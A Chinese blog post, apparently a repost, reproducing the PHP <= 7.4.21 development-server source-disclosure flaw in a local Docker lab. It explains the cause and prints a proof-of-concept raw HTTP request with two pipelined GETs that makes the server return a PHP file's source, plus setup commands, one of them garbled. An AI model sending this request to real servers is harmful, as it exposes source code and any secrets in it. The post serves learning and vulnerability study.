php<= 7 . 4 . 21 development server源码泄露漏洞复现
<h2 id="前言">前言</h2><p>前一段时间在看羊城杯wp里了解到了这个漏洞,觉得挺有意思尝试复现一下(</p>
<p>这里附上原漏洞地址</p>
<p>https://blog.projectdiscovery.io/php-http-server-source-disclosure/</p>
<h2 id="版本">版本</h2>
<p>PHP<= 7 . 4 . 21</p>
<h2 id="漏洞成因">漏洞成因</h2>
<p>通过<code>php -S</code>开起的内置WEB服务器存在源码泄露漏洞,可以将PHP文件作为静态文件直接输出源码</p>
<p>这里直接给出POC</p>
<pre><code>GET /phpinfo.php HTTP/1.1//这里的phpinfo.php必须是存在的文件,也就是要读取源码的文件
Host: 192.168.xxx.xxx:xx
GET /Kawakaze HTTP/1.1 //这里的Kawakaze是不存在的文件
</code></pre>
<p>ps:这里一定要换行</p>
<p>这里我们稍微解释一下第一个GET和第二个GET的作用分别是什么<br>
第一个GET后的/phpinfo.php是直接访问已存在的phpinfo.php文件(一般可以是访问index.php) PHP源码中的php_cli_server_request_translate_vpath函数将请求的PHP文件的路径转换为文件系统上的完整路径。如果请求的文件是一个目录,它会检查是否存在索引文件,如index.php或 index.html,并使用其中一个文件的路径(如果找到的话)。这允许服务器响应请求提供正确的文件<br>
而第二个GET后的/请求的是目录而不是文件。此PHP版本提供的代码包括一个检查,以确定请求的文件是应被视为静态文件还是作为PHP文件执行。这是通过检查文件的扩展名来完成的。如果扩展不是.php或.PHP,或者如果扩展名的长度不等于3,则该文件被视为静态文件,因此如果我们把第二个GET请求的内容改为类似1.txt的文件时,php源码将会被以静态文件的方式泄露(即直接访问获取)</p>
<h2 id="漏洞复现">漏洞复现</h2>
<p>kali虚拟机下载docker</p>
<pre><code>apt-get install docker.io
</code></pre>
<p>启动docker</p>
<pre><code>service docker start
</code></pre>
<p>docker拉取PHP 7.4.21的镜像</p>
<pre><code>docker pull php:7.4.21
</code></pre>
<p>运行镜像 将docker 的80端口映射到kali的8080端口</p>
<pre><code>docker run -it -p 8080:804ad229e4e700/bin/bash
</code></pre>
<p>创建phpinfo.php</p>
<pre><code>echo "<?php phpinfo();?>" > phpinfo.php
</code></pre>
<p>启动php web server</p>
<pre><code>php -S 0.0.0.0:80
</code></pre>
<p>访问192.168.xxx.xxx:8080 //kali的地址</p>
<img alt="" src="https://img-blog.csdnimg.cn/a2f25fcea9044b289a21779f90d4e998.png">
<p>ok开始抓包,发送到repeater模块</p>
<p>PS:一定能要关闭自动更新Content-Length</p>
<img alt="" src="https://img-blog.csdnimg.cn/93063f3ca900471bb3ea8180944fb43c.png">
<p>写入payload</p>
<img alt="" src="https://img-blog.csdnimg.cn/d31e15e3d67f4e3f934e63f62f10d033.png">
<img alt="" src="https://img-blog.csdnimg.cn/f5f6874000ab48aa941c26c0e9d8d558.png">
<p>发送,成功读取到phpinfo.php的源码</p>
<img alt="" src="https://img-blog.csdnimg.cn/ea3d030b2f6b4017b12c503b2685ec43.png">
<h2 id="参考文章">参考文章</h2>
<p>【漏洞复现】php5.5.45-8.0.2任意文件读取 - FreeBuf网络安全行业门户<br>
https://www.freebuf.com/vuls/359359.html</p>
<p>PHP<=7.4.21 Development Server源码泄露漏洞 (buaq.net)<br>
https://buaq.net/go-147962.html<br>
————————————————</p><br><br>
来源:https://www.cnblogs.com/Kawakaze777/p/17799235.html
頁:
[1]